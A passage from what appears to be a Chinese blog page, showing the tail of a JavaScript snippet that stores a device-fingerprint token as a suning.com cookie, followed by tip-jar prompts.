必填 success : function (token) { console.log("the token is: ", token); setCookie("dfpToken",token); }, error : function (e) { console.log("occur error: ", e); } }); }); function setCookie(name,value) { var exp = new Date(); exp.setTime(exp.getTime() + 2*60*60*1000); document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString() + ";domain=suning.com;path=/"; } </script> </body> </html> |
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏